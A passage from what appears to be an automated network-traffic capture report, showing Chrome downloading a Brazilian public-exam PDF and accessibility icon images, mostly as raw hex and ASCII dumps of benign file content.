90 44 a0 8e 0b 40 8c 8a 32 22 c3 3d 8b 00 00 0b 92 13 11 06 83 df 88 00 40 88 5c 22 c5 c0 a9 92 ed 00 b2 13 24 30 d0 2d Data Ascii: $$ eB"0;('"@ CS%dq)e[TE5Pd6{6($%`3gIw3*h")q4)#g#S$"$>%`rJ{1$!!, $$$e.aD@2"=@\"$0-
2024-05-10 07:21:04 UTC	201	IN	Data Raw: 21 f9 04 05 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 b3 20 24 8e 24 b4 2c 65 5a 06 00 49 10 64 a0 92 c8 e3 8c 82 30 2e 82 3c 8b 8c 07 42 94 13 05 8a 3f 91 e3 51 10 bd 9c 02 54 ea 48 6a 3c 50 27 22 6c e4 83 20 18 0d 85 f1 b0 35 96 79 bd 91 82 c1 28 74 67 84 9c 14 77 60 24 92 71 c2 9b 94 4d fa ff 2a 06 07 05 05 07 06 7f 0b 71 02 04 0b 82 84 86 88 8a 8c 80 94 22 7d 95 23 04 0e 07 62 3f 79 7b 00 07 07 03 7b 29 8a 73 02 07 09 2d 10 01 06 73 ad 3a 96 39 3e 01 65 10 0a a4 10 45 2c 43 5c 33 08 03 9d 06 87 5e 00 b7 33 03 03 5b 0a 9d 0b 00 ac 9e 03 be b8 9d 10 04 00 b0 53 b7 c4 7c 98 bb b2 3f 21 00 3b Data Ascii: !, $$,eZId0.<B?QTHj<P'"l 5y(tgw`$qM*q"}#b?y{{)s-s:9>eE,C\3^3[S\|?!;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49823	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:04 UTC	618	OUT	GET /Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:04 UTC	361	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:04 GMT Content-Type: application/pdf Content-Length: 539511 Connection: close Last-Modified: Thu, 02 May 2024 20:30:38 GMT ETag: "18712898cf9cda1:0" X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6862 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b9d7adf8f4c-ORD
2024-05-10 07:21:04 UTC	1008	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 70 74 29 20 2f 4d 65 74 61 64 61 74 61 20 31 35 39 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 36 30 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 33 35 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 36 20 30 20 52 20 33 30 20 30 20 52 20 33 35 20 30 20 52 20 34 32 20 30 20 52 20 34 36 20 30 20 52 20 34 38 20 30 20 52 20 35 32 20 30 20 52 20 35 37 20 30 20 52 20 36 31 20 30 20 52 20 36 33 20 30 20 52 20 36 39 20 30 20 52 20 37 33 20 30 20 52 20 37 38 20 30 20 52 20 38 30 Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(pt) /Metadata 159 0 R/ViewerPreferences 160 0 R>>endobj2 0 obj<</Type/Pages/Count 35/Kids[ 3 0 R 26 0 R 30 0 R 35 0 R 42 0 R 46 0 R 48 0 R 52 0 R 57 0 R 61 0 R 63 0 R 69 0 R 73 0 R 78 0 R 80
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 5b c8 9d 7e 70 a1 69 be 78 dc 6c 9e bf d1 8d 02 c5 ae 50 9d dc bc 7e 8e 9f b7 e3 cf 1f 7d 71 eb a3 6f 4f 36 db ff bd 79 f2 3f 6e 7d 74 57 73 f8 dd ad 8f 7e 88 c3 13 4f 19 46 de b4 ed 4e b5 08 7d 84 f8 86 80 ca 31 50 d9 95 bb 66 53 c9 5d ab e1 c6 e0 14 47 e1 f4 70 57 45 91 c6 fd 66 87 53 b5 bb f2 ba 81 8a 8d 6e 4e 75 cd 4e 69 f5 69 6a f8 47 34 62 57 54 9b b2 dd d5 48 fb ec 63 6c 30 4c 44 0d 8a a6 d8 75 d4 0b fd a4 ac e5 06 be 55 4a fc 96 fe e7 0c 26 d5 fd 8b fd f3 83 10 9b cf af 36 04 55 16 d4 b0 da 75 ba e1 b2 da 35 ed a6 d2 7f b8 0d d3 a7 d0 30 3e 19 7c c5 69 55 f6 ad c6 cb 5f 4d b5 b4 d1 7a d2 34 e5 af 6b 36 4d 70 8a ba d8 95 5a 0c 55 b7 6b 9a 28 a0 77 b6 a7 ea e4 c1 f6 b4 3e f9 7a 7b da 9c 3c de d6 27 77 b7 d5 c9 97 fa df df ea 8f 3b dd 13 fd ec 11 50 Data Ascii: [~pixlP~}qoO6y?n}tWs~OFN}1PfS]GpWEfSnNuNiijG4bWTHcl0LDuUJ&6Uu50>\|iU_Mz4k6MpZUk(w>z{<'w;P
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: d8 62 8b 7a 56 75 30 d7 0d 64 64 ee 74 6e 03 bf 62 db 9a a6 d5 00 71 82 c8 c6 cc 9d 41 9b 39 17 0c a9 1d 6f 9f f0 2f 01 d4 2f 20 dc 1f 41 37 91 fb 4b 9a ac 39 21 e0 8e d0 03 e1 02 84 fc 17 2d 6f 36 3e 24 e1 ac 2b a6 40 8f 60 9e 3d 8d 39 cb 41 b3 c7 b1 63 39 98 55 8b 97 47 59 19 7b ae 47 cd 62 7d bd 75 d6 36 a3 1e 3f e0 62 09 63 7f be 2d 7b 5d 9e 68 0e ea 07 6a 0e 6a 01 7c dd b5 bb 83 56 33 1a b3 4a 95 60 1d 3c 22 61 b7 0c 46 24 ab 6b 56 95 1d 6c 01 3d 5c b3 ba 66 55 25 bd ac c0 35 93 d7 e1 9a 55 b5 0a f4 6f 97 97 55 0d 07 e7 1e 56 59 a7 4f 55 b7 e0 69 66 65 95 69 41 a9 4a 38 61 f9 f5 84 14 26 6a 48 30 35 6d 17 9b 8a 43 36 02 77 9d 74 58 86 71 79 fe 04 1c 06 fc e4 21 1f c6 29 fa 13 3e ff 17 9c b4 ff 46 47 48 ad f9 a2 64 5a da 1d c3 e6 1c 68 bf 82 a8 30 fc Data Ascii: bzVu0ddtnbqA9o// A7K9!-o6>$+@`=9Ac9UGY{Gb}u6?bc-{]hjj\|V3J`<"aF$kVl=\fU%5UoUVYOUifeiAJ8a&jH05mC6wtXqy!)>FGHdZh0
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: d1 55 d9 30 d1 20 00 54 75 12 d5 54 a1 29 3e a2 1d b3 66 37 c3 f8 0f e4 8b 42 eb 65 ec 8e 1d 0e 74 2e b6 a7 02 8e 91 4f 31 1c 87 a9 52 93 40 a6 c1 dd e2 b6 23 3b ee ba 05 75 02 07 30 72 55 bf 83 c9 91 57 90 02 71 09 c0 cf f8 50 04 53 22 84 a4 1f 7f c5 0f f9 b9 68 c1 85 c2 de 79 c2 58 11 c0 a7 37 db f5 96 b6 68 53 90 cf c4 b1 84 9e 4c ed 20 6c 30 56 ad 10 09 c7 b1 44 05 61 1e f0 02 15 c7 49 92 db 98 1f 1c a9 dd 96 9a dc c0 a8 4d 21 fc de d0 59 f6 c3 87 0f a7 ae 5f 2c 8e a9 ac 55 09 a1 ba 68 20 b3 b2 2e c5 4e 2e c8 3a 40 62 0e 80 14 f5 c0 c8 ba 9d c8 7a b1 0d 8f ac 4b 1a c5 f8 2e 3e 44 9d a6 e9 f0 b9 76 b6 cb 19 67 3b 16 cd 54 e2 75 09 2e cf 3a 89 53 fc b1 9f 5c e5 8c e9 0c 13 0d 22 b5 41 d3 19 d3 8e 47 f2 2d 96 a8 c8 6f 39 0d ec 90 e5 5c 01 5b 2f a3 69 f6 Data Ascii: U0 TuT)>f7Bet.O1R@#;u0rUWqPS"hyX7hSL l0VDaIM!Y_,Uh .N.:@bzK.>Dvg;Tu.:S\"AG-o9\[/i
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 30 0f 5e fe 0e 81 87 8b b1 1f cc 27 6c 3f 0c 1f 7a 3a e2 e5 10 29 e9 a8 c7 6c 32 2b 53 2d 18 99 20 3f 87 28 c0 cf 89 c1 28 19 b2 44 56 86 38 ba 63 5e 3d 91 ea 89 a6 4d d9 78 86 92 61 73 15 ee 59 4f 14 ea 19 db b4 a0 24 d9 a6 05 d9 f5 34 01 6e 6c f7 bc 62 64 bb 17 66 64 69 42 8c c8 36 1a 46 41 db e8 8e d9 c4 d1 73 88 54 4f e4 49 12 f6 77 cc 18 d0 60 cf 1c a2 40 d7 9c 2d 87 92 4b 56 36 cc af 27 0a f1 63 03 cb 1a 32 6f 8a 8d 6d 0d ca d2 21 0a c8 d2 f1 ae 94 9c 37 c0 c6 a6 ba bd ab 27 dc 7a 22 d5 13 05 9a 0a 50 fd 70 6b 5d 95 14 3a a8 28 9b de eb 4b da e8 8d 4a 26 c0 26 5b f5 b5 04 e6 2a 1e d0 3e 7c 4c e2 96 4d d0 0e 32 1c 4f d8 b2 09 33 c7 5d f3 7c 62 0a 27 40 d2 4d 5c 4f 17 0b 27 2c 83 f0 97 4e 88 87 e1 2f 9d c0 fc cd 25 f7 f9 3b fb 2c ee 11 d1 b0 7c 82 b6 Data Ascii: 0^'l?z:)l2+S- ?((DV8c^=MxasYO$4nlbdfdiB6FAsTOIw`@-KV6'c2om!7'z"Ppk]:(KJ&&[*>\|LM2O3]\|b'@M\O',N/%;,\|
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 15 33 82 01 12 33 7c 01 46 66 ec dc 56 ea 99 72 82 fa 6f 78 7b 68 e7 14 6a 70 56 aa 08 92 40 39 89 b2 6b e2 dd 18 7b f5 ca 53 4e 22 19 02 27 e1 45 83 08 97 92 30 ec 4d 29 89 a1 90 66 88 54 0c 46 ce 2a 4b c0 48 c5 21 7e 34 17 16 9f 6f 4b ba a5 78 4e af ca 11 f5 c9 77 27 f8 02 30 f8 f0 bb ad 2f d5 2b 19 69 57 a0 dd 5f 2b 4d 0e 99 30 7b 7b f7 7b 28 cd 65 a2 60 45 88 04 8c de 8a 10 47 f0 c6 04 c3 b5 f2 61 37 84 d9 e3 25 dd f1 74 0c 11 04 ab 40 ac 92 cb 71 7c b1 02 c4 6a 99 90 f3 13 90 49 90 20 58 f9 61 9d 4c 8e e2 5b 27 8e 45 a8 ea 43 78 1e 2d 13 85 aa 3d 1c 63 bd fd d5 1e d2 41 60 a5 87 b5 72 a2 0d b0 19 21 aa a3 30 14 d2 02 45 a8 c2 43 02 38 5f 85 87 64 be 55 ca c8 04 ab 3b 38 ac 67 74 67 91 26 58 d5 21 01 a1 af aa 43 3a 6b aa e8 b0 5a 38 74 64 ea b7 36 61 Data Ascii: 33\|FfVrox{hjpV@9k{SN"'E0M)fTF*KH!~4oKxNw'0/+iW_+M0{{{(e`EGa7%t@q\|jI XaL['ECx-=cA`r!0EC8_dU;8gtg&X!C:kZ8td6a
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 68 c2 81 df 35 a2 39 96 73 9d 36 28 c1 c8 ef d2 e4 8a a2 0b c6 7f d3 97 82 99 58 d5 1a 18 14 01 5e 27 2e 0e b3 d2 50 85 df 8f 16 22 0a 86 81 a3 11 36 be 28 f0 11 9c ab 84 21 0a c7 81 2d 73 8f 26 c5 90 85 a3 c1 d1 30 bd c1 e0 63 98 73 3c 78 a5 8c 78 63 12 b2 44 8b 34 e1 a0 70 fa 3c 53 fe 98 70 2a 06 0e 0b af f4 b7 78 db 85 cc 97 5f 88 16 a6 0b c7 86 a3 81 ae 4f a8 3d 06 25 47 69 a3 51 2e 04 69 8f 81 c0 71 5a 07 42 4c 34 96 ec f3 c2 0b cf 7c 54 c3 98 ac 76 8d 3b 13 92 3d aa a1 70 64 d6 e9 58 62 60 f6 08 a6 26 36 3b c3 34 14 9a 45 4e e1 b7 9d cd d3 0c 03 b4 25 d5 3c f0 bf cf 2b d4 48 38 4c 5b cd 06 9b 67 c2 b4 f8 a6 33 7c e7 59 15 1b a6 4d 07 c5 41 c9 79 50 9e 48 ad 6a 77 55 28 ad 76 11 85 2f 5a 5b c2 a2 7e 4d c1 da a3 45 33 0b 2a 10 ae a5 f7 a2 f9 c3 b5 b5 Data Ascii: h59s6(X^'.P"6(!-s&0cs<xxcD4p<Spx_O=%GiQ.iqZBL4\|Tv;=pdXb`&6;4EN%<+H8L[g3\|YMAyPHjwU(v/Z[~ME3
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 0b 32 03 f3 f1 ff d8 ee 38 66 bf e1 1d 69 4e 03 5c 61 04 7a d8 07 61 e1 0b 46 fe 7f 40 fb fa 1f 3b 50 d2 1f 34 38 b0 b6 38 a9 00 31 22 fd 09 f0 ef a8 fc 69 83 1f 6b bb 2c 5b fa e8 29 9a c6 9c be 8f c2 17 27 dc 90 02 48 d5 c0 66 36 96 3b 7a 21 f4 7a 80 4f d7 e0 28 27 38 4a 05 2f a7 88 97 c2 21 2f f7 36 6d 0c a6 c9 88 6b b8 57 22 8d fb 05 ac 09 7b fb 9e db 69 ea f1 1a 85 a0 e3 88 24 85 68 51 21 7e 93 57 31 1b 7c b5 cd d2 ac 9e b8 37 7d b0 ea 1f e1 17 67 86 c3 1b 52 c2 73 fc ba a6 b8 6a 24 3a 31 29 32 55 28 d3 ef b6 6b f6 59 62 fa 42 08 ac 35 73 b4 ad e9 c7 c0 1a 5d a1 3d 83 d6 9c 3e 8c ce 46 cd 10 02 4d 87 2f 04 1b 93 7c d8 6d ae a6 8d ca f0 bb de 6d 6e 24 8a 6f 4f 54 fe 6d 6e 34 ef cc 4e bc a6 8d e7 fd 40 4f 55 dc 8a 28 b3 7d 01 6f f7 92 83 d4 a3 cd 26 3b Data Ascii: 28fiN\azaF@;P4881"ik,[)'Hf6;z!zO('8J/!/6mkW"{i$hQ!~W1\|7}gRsj$:1)2U(kYbB5s]=>FM/\|mmn$oOTmn4N@OU(}o&;
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: eb 16 91 6d d3 0d 4d 4b b2 4d 50 37 32 71 df 57 f1 c4 b9 6d 37 53 93 0d 92 51 b0 ec e7 95 2d 95 b9 4c 80 1d 99 38 11 b3 31 cd 9a 99 80 85 2d 13 fa d1 c7 59 7f be e2 d3 24 dc 17 c3 06 d8 41 fb 07 1b 66 ed f7 ba f6 d0 d2 1e 67 ba e1 b0 f2 3a 4c 41 53 83 6b 9e d0 bd 47 18 3f b0 77 c8 3e 7b 0d d3 1f 53 fb d0 4a d0 9d ad 4f 01 3b 9d 9a 65 cd 08 82 6b fa 09 58 f3 1a 01 d5 ed 92 24 95 77 6d 2e c5 0d 72 27 13 a4 44 7c e8 49 b2 0d aa b3 1e 1c eb de a7 c0 c8 9c 13 96 c2 fa c1 56 4a 7b 24 21 14 6f 49 e8 92 ba e4 ec 02 9c dc 10 37 e0 1d 80 6c dc 6f e0 93 7e 37 26 cd 76 4c 7f 7f b4 49 40 4f 88 2c ce b6 cf 1b 12 ca 64 7d 48 4a 30 c3 10 05 06 cc de 6e 85 13 6e 9f 30 26 b3 05 bf be de 4a fe ca f3 ed 20 d2 e1 44 e7 7b 37 0f a9 f1 44 08 b1 bf 84 3e 7e ef dc d3 e1 d0 1e 18 Data Ascii: mMKMP72qWm7SQ-L81-Y$Afg:LASkG?w>{SJO;ekX$wm.r'D\|IVJ{$!oI7lo~7&vLI@O,d}HJ0nn0&J D{7D>~
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: f1 66 66 66 ce 62 ce 6c 66 27 44 e2 ad eb 9b d6 f7 4a 92 2f 76 e3 6e 48 05 6f 04 69 7e 15 8e 48 2d 93 44 92 db 11 81 2a aa 49 82 c8 3a c7 c1 39 56 49 bd cf ea 07 55 4d 09 07 e7 37 25 7c f2 c9 b5 2f 18 79 2e 9a d7 f1 92 65 1a f7 90 db e5 5c b2 17 ca 24 83 bc e3 a0 a6 43 d4 97 e6 c2 30 dc 19 86 56 7a ff e8 0f 83 ba 04 54 b5 e8 54 54 c3 c6 23 de eb 81 94 e5 d0 cf 81 0f cc bf 09 0e cf b8 6b 31 be 0a 7f cd 65 9f b5 70 63 89 eb 62 fc c8 4d d3 ae 49 bc e6 25 39 7c fd 82 47 c8 dc 1d be 18 75 c5 2d af 00 cf 8d 30 07 af 5d 31 15 21 b0 78 d8 e0 d2 c6 dc 38 99 8b 64 13 71 99 d1 ca 3e d9 ca 3a f6 20 70 56 47 e4 ac 92 b8 f1 0c ba cf 62 ea 57 8c bc fe da 08 11 e5 49 05 ec ac b7 a0 7f 0c f5 df de 86 1b 5e 2a b1 55 ea b8 26 3a 8e de b0 42 16 d2 99 3a 65 34 e7 b2 9e fa c0 Data Ascii: fffblf'DJ/vnHoi~H-DI:9VIUM7%\|/y.e\$C0VzTTT#k1epcbMI%9\|Gu-0]1!x8dq>: pVGbWI^U&:B:e4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49825	151.101.1.229	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:04 UTC	405	OUT	GET /gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_icon.svg HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:04 UTC	729	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5614 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: image/svg+xml X-JSD-Version: dev X-JSD-Version-Type: branch ETag: W/"15ee-9PerC6QhjPo5B4QDqZBJD4SIBBY" Accept-Ranges: bytes Age: 19105 Date: Fri, 10 May 2024 07:21:04 GMT X-Served-By: cache-fra-eddf8230079-FRA, cache-chi-kigq8000094-CHI X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-05-10 07:21:04 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 30 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 30 20 34 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 30 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 72 78 3d 22 38 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 35 32 39 5f 39 35 29 22 2f 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 31 34 2e 33 35 31 35 20 38 2e 30 30 38 38 35 43 31 34 2e 32 36 35 39 20 38 2e 30 32 32 32 39 20 31 34 2e Data Ascii: <svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg"><rect width="40" height="40" rx="8" fill="url(#paint0_linear_529_95)"/><path fill-rule="evenodd" clip-rule="evenodd" d="M14.3515 8.00885C14.2659 8.02229 14.
2024-05-10 07:21:04 UTC	1378	IN	Data Raw: 33 43 31 37 2e 34 30 35 33 20 32 30 2e 34 31 32 35 20 31 36 2e 39 34 35 35 20 32 30 2e 33 39 38 37 20 31 36 2e 36 34 32 37 20 32 30 2e 33 33 39 39 43 31 36 2e 31 31 37 38 20 32 30 2e 32 33 37 37 20 31 35 2e 34 35 36 37 20 31 39 2e 39 33 36 39 20 31 35 2e 30 39 34 20 31 39 2e 36 33 35 31 43 31 34 2e 35 32 31 36 20 31 39 2e 31 35 38 38 20 31 34 2e 33 35 33 34 20 31 38 2e 33 31 33 34 20 31 34 2e 37 31 30 32 20 31 37 2e 37 30 34 37 43 31 34 2e 39 37 36 37 20 31 37 2e 32 34 39 39 20 31 35 2e 33 34 36 32 20 31 37 2e 30 35 34 38 20 31 36 2e 31 32 32 39 20 31 36 2e 39 35 38 35 43 31 36 2e 37 35 30 36 20 31 36 2e 38 38 30 38 20 31 37 2e 34 32 32 31 20 31 36 2e 36 39 37 38 20 31 38 2e 33 39 34 31 20 31 36 2e 33 33 39 39 4c 31 38 2e 39 30 34 31 20 31 36 2e 31 35 32 Data Ascii: 3C17.4053 20.4125 16.9455 20.3987 16.6427 20.3399C16.1178 20.2377 15.4567 19.9369 15.094 19.6351C14.5216 19.1588 14.3534 18.3134 14.7102 17.7047C14.9767 17.2499 15.3462 17.0548 16.1229 16.9585C16.7506 16.8808 17.4221 16.6978 18.3941 16.3399L18.9041 16.152
2024-05-10 07:21:04 UTC	1378	IN	Data Raw: 38 2e 39 31 37 36 20 31 35 2e 38 37 37 31 20 32 38 2e 39 35 37 37 20 31 38 2e 32 39 35 37 20 32 36 2e 35 32 36 36 43 32 30 2e 35 35 33 32 20 32 34 2e 32 35 37 37 20 32 30 2e 37 34 31 36 20 32 34 2e 31 30 38 39 20 32 30 2e 38 34 33 37 20 32 34 2e 35 31 35 39 43 32 30 2e 39 30 35 38 20 32 34 2e 37 36 33 31 20 32 30 2e 39 32 20 32 34 2e 37 32 37 20 31 39 2e 39 31 36 34 20 32 36 2e 38 36 38 31 43 31 39 2e 37 34 36 35 20 32 37 2e 32 33 30 33 20 31 39 2e 36 30 37 36 20 32 37 2e 35 33 36 37 20 31 39 2e 36 30 37 36 20 32 37 2e 35 34 38 38 43 31 39 2e 36 30 37 36 20 32 37 2e 35 36 31 20 31 39 2e 34 39 33 20 32 37 2e 38 31 38 35 20 31 39 2e 33 35 33 20 32 38 2e 31 32 31 32 43 31 38 2e 32 30 33 31 20 33 30 2e 36 30 37 20 31 38 2e 31 35 36 32 20 33 30 2e 37 37 34 20 Data Ascii: 8.9176 15.8771 28.9577 18.2957 26.5266C20.5532 24.2577 20.7416 24.1089 20.8437 24.5159C20.9058 24.7631 20.92 24.727 19.9164 26.8681C19.7465 27.2303 19.6076 27.5367 19.6076 27.5488C19.6076 27.561 19.493 27.8185 19.353 28.1212C18.2031 30.607 18.1562 30.774
2024-05-10 07:21:04 UTC	1378	IN	Data Raw: 32 38 20 31 36 2e 35 31 32 37 20 32 36 2e 33 32 32 36 20 31 36 2e 30 33 37 35 43 32 35 2e 37 34 35 33 20 31 35 2e 34 39 34 38 20 32 35 2e 35 33 39 39 20 31 35 2e 33 34 35 32 20 32 35 2e 32 38 32 37 20 31 35 2e 32 38 30 34 43 32 34 2e 39 37 30 32 20 31 35 2e 32 30 31 38 20 32 34 2e 30 30 34 37 20 31 35 2e 31 38 32 36 20 32 33 2e 37 32 33 20 31 35 2e 32 34 39 35 5a 4d 32 39 2e 32 31 31 35 20 31 37 2e 33 30 36 32 43 32 39 2e 31 38 34 31 20 31 37 2e 33 39 32 36 20 32 39 2e 32 33 35 33 20 31 37 2e 36 32 38 35 20 32 39 2e 33 33 38 34 20 31 37 2e 38 39 30 37 43 32 39 2e 35 36 36 34 20 31 38 2e 34 37 30 33 20 32 39 2e 36 31 38 33 20 31 38 2e 39 38 30 36 20 32 39 2e 35 31 39 32 20 31 39 2e 36 36 36 39 43 32 39 2e 33 39 31 35 20 32 30 2e 35 35 31 33 20 32 39 2e 33 Data Ascii: 28 16.5127 26.3226 16.0375C25.7453 15.4948 25.5399 15.3452 25.2827 15.2804C24.9702 15.2018 24.0047 15.1826 23.723 15.2495ZM29.2115 17.3062C29.1841 17.3926 29.2353 17.6285 29.3384 17.8907C29.5664 18.4703 29.6183 18.9806 29.5192 19.6669C29.3915 20.5513 29.3
2024-05-10 07:21:04 UTC	102	IN	Data Raw: 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 33 36 39 30 46 41 22 2f 3e 0d 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 32 32 36 36 44 32 22 2f 3e 0d 0a 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0d 0a 3c 2f 64 65 66 73 3e 0d 0a 3c 2f 73 76 67 3e 0d 0a Data Ascii: stop-color="#3690FA"/><stop offset="1" stop-color="#2266D2"/></linearGradient></defs></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49824	151.101.1.229	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:04 UTC	406	OUT	GET /gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_popup.jpg HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:05 UTC	723	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9968 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: image/jpeg X-JSD-Version: dev X-JSD-Version-Type: branch ETag: W/"26f0-D7iIUneKx/6UlHZzs6Oxe8hPWtA" Accept-Ranges: bytes Age: 24 Date: Fri, 10 May 2024 07:21:05 GMT X-Served-By: cache-fra-etou8220098-FRA, cache-chi-kigq8000112-CHI X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 0c 08 09 0b 09 08 0c 0b 0a 0b 0e 0d 0c 0e 12 1e 14 12 11 11 12 25 1b 1c 16 1e 2c 27 2e 2e 2b 27 2b 2a 31 37 46 3b 31 34 42 34 2a 2b 3d 53 3e 42 48 4a 4e 4f 4e 2f 3b 56 5c 55 4c 5b 46 4d 4e 4b ff db 00 43 01 0d 0e 0e 12 10 12 24 14 14 24 4b 32 2b 32 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b ff c0 00 11 08 00 78 01 c2 03 01 11 00 02 11 01 03 11 01 ff c4 00 1b 00 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 01 05 02 04 06 03 07 ff c4 00 47 10 00 01 03 03 02 02 06 05 08 08 04 05 05 00 00 00 01 00 02 03 04 05 11 12 21 06 31 13 22 41 51 61 81 14 71 91 a1 b1 23 32 42 52 72 b2 Data Ascii: JFIFHHC%,'..+'+17F;14B4+=S>BHJNON/;V\UL[FMNKC$$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKxG!1"AQaq#2BRr
